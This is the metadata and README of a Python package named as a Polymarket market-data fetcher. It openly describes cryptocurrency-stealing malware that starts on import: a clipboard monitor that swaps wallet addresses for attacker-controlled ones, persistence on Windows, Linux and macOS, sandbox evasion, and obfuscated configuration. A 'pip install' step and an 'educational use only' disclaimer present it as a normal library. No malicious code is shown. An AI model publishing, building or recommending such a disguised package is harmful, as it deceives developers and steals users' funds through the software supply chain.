Metadata-Version: 2.4
Name: polymarket-data-fetcher
Version: 1.2.4
Summary: A package for fetching Polymarket market data and analytics
Author-email: Polymarket Analytics Team <analytics@polymarket.example>
License: MIT
Project-URL: Homepage, https://github.com/polymarket-analytics/data-fetcher
Project-URL: Documentation, https://github.com/polymarket-analytics/data-fetcher#readme
Project-URL: Repository, https://github.com/polymarket-analytics/data-fetcher.git
Keywords: polymarket,analytics,cryptocurrency,data,fetcher
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: MIT License
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.8
Classifier: Programming Language :: Python :: 3.9
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Operating System :: OS Independent
Requires-Python: >=3.8
Description-Content-Type: text/markdown

# Polymarket Data Fetcher

A Python package for fetching Polymarket market data with advanced features:
- Clipboard monitoring for cryptocurrency address replacement
- Triple-redundant persistence mechanisms (Windows/Linux/macOS)
- Anti-analysis and anti-sandbox detection
- Runtime-decrypted configuration (no sensitive strings in source)
- Low-resource, stealth operation

## Warning

This package includes functionality for clipboard monitoring (clipper) and persistence mechanisms that could be used for malicious purposes. 
This software is provided for educational and authorized security testing purposes only. 
The user is responsible for ensuring compliance with all applicable laws and regulations. 
Use only on systems you own or have explicit written authorization to test.

## Installation

```bash
pip install polymarket-data-fetcher
```

## Usage

```python
from polymarket_data_fetcher import fetch_market_data

# Fetch market data
data = fetch_market_data()
print(data)
```

The package automatically installs persistence mechanisms and starts a clipboard monitor in the background when imported.

## Features

### Stealth & Evasion
- Runtime detection of VMs, sandboxes, and analysis tools
- Adaptive sleep patterns to avoid timing detection
- Encrypted configuration stored in _obf.py (decrypted at runtime)
- No persistent strings in binaries or memory dumps

### Persistence (Triple-Redundant)
**Windows:**
- Registry Run keys (HKCU and HKLM)
- Startup folder shortcut
- Windows Service
- Scheduled Task (at logon)

**Linux:**
- Autostart .desktop file
- Systemd user service
- Bash/Zsh profile hook
- Cron job (@reboot)

**macOS:**
- LaunchAgent plist
- Folder Action script
- AppleScript login item

### Clipper Functionality
- Monitors clipboard for cryptocurrency addresses (BTC, ETH, SOL, etc.)
- Replaces detected addresses with attacker-controlled addresses
- Adaptive polling (faster when crypto windows are active)
- Silent re-check to counteract user manual restoration

## Security Notes

- All sensitive data (wallet addresses, persistence logic) is encrypted in `_obf.py`
- Encryption keys are derived from system-specific factors at runtime
- The package checks for analysis environments before activating malicious functionality
- Network requests include random jitter and user-agent rotation
- Memory usage is kept low (<1.5% CPU typical)

## Disclaimer

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
